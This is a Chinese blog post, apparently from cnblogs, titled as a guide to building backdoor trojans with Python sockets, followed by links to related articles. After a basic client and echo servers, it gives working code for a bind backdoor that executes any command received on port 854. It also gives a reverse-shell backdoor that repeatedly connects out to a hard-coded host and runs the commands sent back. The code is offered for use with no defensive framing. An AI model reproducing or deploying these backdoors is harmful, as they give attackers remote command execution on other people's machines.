python socket编程制作后门木马(原创)
懒得解释怎么写出来的,直接上代码
Client: 简单连接服务器
#!/usr/bin/python
#coding:utf-8 import socket
import sys
socket.setdefaulttimeout(5) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = "www.baidu.com"
port = 80
remote_ip = socket.gethostbyname( host ) message = "GET / HTTP/1.1\r\n\r\n" s.connect((remote_ip, port))
s.sendall(message) reply = s.recv(4096) print reply
Server: 单线程,长久监听服务,长连接,会话先进先出排队原则
#!/usr/bin/python
#coding:utf-8 import socket
import sys HOST = ''
PORT = 444 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
conn.send("Welcome to the server. Type something like:"
"COOKIE,GET,POST and hit <ENTRE>\n")
while 1:
data = conn.recv(1024)
print data
if data == "GET\n":
data = "OK, wait a moment\n"
if data == "POST\n":
data = "I am not a http server\n"
if data == "COOKIE\n":
data = "a cookie Biscuits??\n"
if data:
conn.sendall(data)
else:
break conn.close()
s.close()
Server: 多线程,长久监听服务,长连接,同步处理会话
#!/usr/bin/python
#coding:utf-8 import socket
import sys
from thread import * HOST = ''
PORT = 555 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) def clientthread(conn):
conn.send("Welcome to the server. Type something like:"
"COOKIE,GET,POST and hit <ENTRE>\n")
while 1:
data = conn.recv(1024)
print data
if data == "GET\n":
data = "OK, wait a moment\n"
if data == "POST\n":
data = "I am not a http server\n"
if data == "COOKIE\n":
data = "a cookie Biscuits??\n"
if data:
conn.sendall(data)
else:
break
conn.close() while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,)) s.close()
BackDoor: 结合命令执行制作后门木马(正向)
#!/usr/bin/python
#coding:utf-8 import socket
import sys
import commands
from thread import * HOST = ''
PORT = 854 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10) def clientthread(conn):
conn.send("Welcome demon's backdoor!".center(50,"*") + "\n")
while 1:
conn.send("Demon_Backdoor# ")
data = conn.recv(1024)
if data:
cmd = data.strip("\n")
code,res = commands.getstatusoutput(cmd) if code == 0 :
conn.sendall(res+"\n")
else:
print "[-]Error: code",code
data = "" else:
break conn.close() while 1:
conn, addr = s.accept()
print "[+] connecting" , addr[0] + ":" , addr[1]
start_new_thread(clientthread, (conn,)) s.close()
BackDoor: 反弹shell(反向)
#!/usr/bin/python
#coding:utf-8 import socket
import sys
import commands
from time import sleep
from thread import * HOST = "192.168.10.24"
PORT = 444 def clientthread(s):
global isConnect
s.send("Welcome demon's backdoor!".center(50,"*") + "\n") while 1:
s.send("Demon_Backdoor# ")
data = s.recv(1024)
if data :
cmd = data.strip("\n")
code,res = commands.getstatusoutput(cmd) if code == 0 :
s.sendall(res+"\n")
else:
print "[-]Error: code",code
data = ""
else:
break while 1:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print "[+] connecting" , HOST + ":", PORT
clientthread(s)
#start_new_thread(clientthread, (s,))
s.close()
except:
sleep(0.5)
转载指明出处:http://www.cnblogs.com/demonxian3/p/8666416.html
python socket编程制作后门木马(原创)的更多相关文章
- Python Socket 编程——聊天室示例程序
上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和客户端的代码了解基本的 Python Socket 编程模型.本文再通过一个例子来加强一下对 Socket 编程的 ...
- python/socket编程之粘包
python/socket编程之粘包 粘包 只有TCP有粘包现象,UDP永远不会粘包. 首先需要掌握一个socket收发消息的原理 发送端可以是1k,1k的发送数据而接受端的应用程序可以2k,2k的提 ...
- PYTHON SOCKET编程简介
原文地址: PYTHON SOCKET编程详细介绍 Python 提供了两个基本的 socket 模块. 第一个是 Socket,它提供了标准的 BSD Sockets API. 第二个是 Soc ...
- python socket编程笔记
用python实现一个简单的socket网络聊天通讯 (Linux --py2.7平台与windows--py3.6平台) 人生苦短之我用Python篇(socket编程) python之路 sock ...
- [Python_7] Python Socket 编程
0. 说明 Python Socket 编程 1. TCP 协议 [TCP Server] 通过 netstat -ano 查看端口是否开启 # -*-coding:utf-8-*- "&q ...
- Python Socket 编程示例 Echo Server
简评:我们已经从「Python Socket 编程概览」了解了 socket API 的概述以及客户端和服务器的通信方式,接下来让我们创建第一个客户端和服务器,我们将从一个简单的实现开始,服务器将简单 ...
- Python Socket 编程——聊天室演示样例程序
上一篇 我们学习了简单的 Python TCP Socket 编程,通过分别写服务端和client的代码了解主要的 Python Socket 编程模型.本文再通过一个样例来加强一下对 Socket ...
- python socket编程入门(编写server实例)+send 与sendall的区别与使用方法
python 编写server的步骤: 1. 第一步是创建socket对象.调用socket构造函数.如: socket = socket.socket( family, type ) family参 ...
- 第九章:Python高级编程-Python socket编程
第九章:Python高级编程-Python socket编程 Python3高级核心技术97讲 笔记 9.1 弄懂HTTP.Socket.TCP这几个概念 Socket为我们封装好了协议 9.2 cl ...
随机推荐
- Android学习基础之onSaveInstanceState和onRestoreInstanceState触发的时机
先看Application Fundamentals上的一段话: Android calls onSaveInstanceState() before the activity becomes ...
- dedecms 在php5.4以上环境下 无法保存中文
dedecms gbk版本在php5.4以上环境下 无法保存中文 原因在于5.4.0对这个函数的变化:htmlspecialchars5.4.0 The default value for the ...
- Flex中的FusionCharts 2D折线图
Flex中的FusionCharts 2D折线图 1.设计源码 LineChart.mxml: <?xml version="1.0" encoding="utf- ...
- java.lang.NoClassDefFoundError:org/hamcrest/SelfDescribing
1.错误描述 java.lang.NoClassDefFoundError:org/hamcrest/SelfDescribing 2.错误原因 将junit-4.11.jar导入到lib目录中,出现 ...
- “var arr = []; ”和 “var arr = {};” 的区别
1.面试题 var arr = []; var arr = {}; 比较上述代码有什么区别? 2.解析 var arr = [];是一个数组对象 var arr = {} ...
- web开发性能优化---SEO优化篇
一.清理垃圾代码 清理垃圾代码是指删除页面中的冗余代码,可以删除80%的冗余代码. 垃圾代码主要指那些删除了也不会对页面有任何影响的非必要代码. 最常见的垃圾代码,空格 空格字符是网页中最常见的垃圾代 ...
- Struts2(五)常量的配置
Struts2 常量大多在 默认的配置文件中已经配置好,但根据用户的需求不同,开发的要求不同,需要修改这些常量值,修改的方法就是在配置的文件对常量进行重新配置 在struts.xml 文件中使用< ...
- 关于游览器网页标题logo的设置
<link rel="shortcut icon"type="image/x-icon" href="images/favicon.ico&qu ...
- C#读取Excel表格中数据并返回datatable
在软件开发的过程中,经常用到从excel表格中读取数据作为数据源,以下整理了一个有效的读取excel表格的方法. DataTable GetDataTable(string tableName,str ...
- 【Luogu1876】开灯(数论)
[Luogu1876]开灯(数论) 题面 题目描述 首先所有的灯都是关的(注意是关!),编号为1的人走过来,把是一的倍数的灯全部打开,编号为二的的把是二的倍数的灯全部关上,编号为3的人又把是三的倍数的 ...